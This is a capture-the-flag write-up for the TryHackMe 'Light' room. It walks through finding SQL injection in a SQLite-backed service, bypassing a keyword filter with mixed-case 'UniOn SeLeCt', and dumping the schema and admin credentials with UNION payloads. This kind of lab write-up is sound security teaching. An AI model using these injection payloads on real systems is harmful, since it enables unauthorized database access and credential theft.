> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/light.md).

# Light

Welcome to the Light database application! - by hadrian3689

{% embed url="<https://tryhackme.com/r/room/lightroom>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

For this challenge, we will skip the Nmap scan. The room description already asks us to connect to port `1337`. We also get a user to start with. The service on `1337` could be the aforementioned database application called Light.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGR4WFFyE4TVNxKpc4csY%2Fgrafik.png?alt=media&amp;token=7c2c130e-5328-454d-8c14-58a4258a52b9" alt=""><figcaption></figcaption></figure>

Since this is a database challenge, we try the simplest SQL Injection payload `'`. And we get an error returned. The service might be vulnerable to SQL Injection. The error message tells us about an unrecognized token in `''' LIMIT 30"`. We may have broken the enclosed string by `'`, which led to this error.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFCUVg7JyfVvkbJf9YBI5%2Fgrafik.png?alt=media&amp;token=737cc8c1-2122-41a7-85c7-330c6b43ab99" alt=""><figcaption></figcaption></figure>

Now, let's try to get more information using a UNION SELECT injection. But it errors with our comment we used.

```
' UNION SELECT 1 -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgPWM6HApGRgQmtvrP5Ex%2Fgrafik.png?alt=media&amp;token=596e0829-ab5c-4cdd-8f6d-08db1dfd44b3" alt=""><figcaption></figcaption></figure>

Alternately, we use `#` to comment, and do not receive a similar error as before. But there are words that get blocked. It might be UNION and SELECT.

```
' UNION SELECT 1 #
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbmpPtyGMQ9ZMWZLgkmeV%2Fgrafik.png?alt=media&amp;token=5d66c03d-c96e-4824-9f24-2d3008e18a01" alt=""><figcaption></figcaption></figure>

We switch between capitalized and non capitalized characters. But still get an error. Might be the SELECT statement too.

```
' UniOn SELECT 1 #
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlcWdOgDn5owpLZE2BPgM%2Fgrafik.png?alt=media&amp;token=48866f95-7748-4ae4-9d91-b828ec41e3f0" alt=""><figcaption></figcaption></figure>

After applying the same technique to the SELECT statement, we now get a different error. The token `#` is not recognized.

```
' UniOn SeLeCt 1 #
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjqwhuLy2AxWsHliOqtVa%2Fgrafik.png?alt=media&amp;token=81e16175-95af-467d-a6f5-16a2e6f045be" alt=""><figcaption></figcaption></figure>

We URL encode the `#` character, but that does not help either. But we receive another error regarding the `'` character.

```
' UniOn SeLeCt 1 %23
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRtKLITODA1ITASqTTjKu%2Fgrafik.png?alt=media&amp;token=09cbd40e-4075-4811-a150-00474ea566cc" alt=""><figcaption></figcaption></figure>

So maybe there is a statement like this, that gets broken with inserting a `'`:

```
SELECT * FROM users WHERE username = '{user_input}' LIMIT 30; 
```

Leading to:

```
SELECT * FROM users WHERE username = ''' LIMIT 30;
```

We close our statement with another `'`, and now have a successful UNION based injection.

```
' UniOn SeLeCt 1 '
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYgOsC9cdsmumz3WAMOT2%2Fgrafik.png?alt=media&amp;token=37b21b4b-6e6d-432b-bb3a-5aeb4d70591e" alt=""><figcaption></figcaption></figure>

Next, we query for the version, to determine which DBMS is used to craft the payloads to retreive the data from the database. It is a SQLite Database version 3.31.1.

```
' UniOn SeLeCt @@version '
' UniOn SeLeCt version() '
' UniOn SeLeCt sqlite_version() '
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYviREvJVSbNYfjOYBOTc%2Fgrafik.png?alt=media&amp;token=4eb2bca9-2e99-4893-8ddb-a4544a3d3888" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md>" %}

Next we query from the `sqlite_master` to get the database structure. There is a `admintable` and a `usertable`.

```
' UniOn SeLeCt group_concat(sql) FROM sqlite_master '
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz5hHlna555oiWyDSnfGH%2Fgrafik.png?alt=media&amp;token=26e775a2-baa2-480e-a2b8-a07bd5378323" alt=""><figcaption></figcaption></figure>

We query username and password from the `usertable`, but do not find the asked information:

```
' UniOn SeLeCt group_concat(username) FROM usertable '
```

```
' UniOn SeLeCt group_concat(password) FROM usertable '
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN2dlwoQBH0qFc3ubqHH8%2Fgrafik.png?alt=media&amp;token=b6fa7bd4-759f-45d6-b4cd-a80c0e0d43b6" alt=""><figcaption></figcaption></figure>

Next, we query for the username and password from the `admintable` and do find the username, password and the asked flag.

```
' UniOn SeLeCt group_concat(username) FROM admintable '
```

```
' UniOn SeLeCt group_concat(password) FROM admintable '
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fyj6bwsrZ3elsURPWqlT3%2Fgrafik.png?alt=media&amp;token=344c2d16-2f67-4aa0-95ee-cedc9f6f4270" alt=""><figcaption></figcaption></figure>
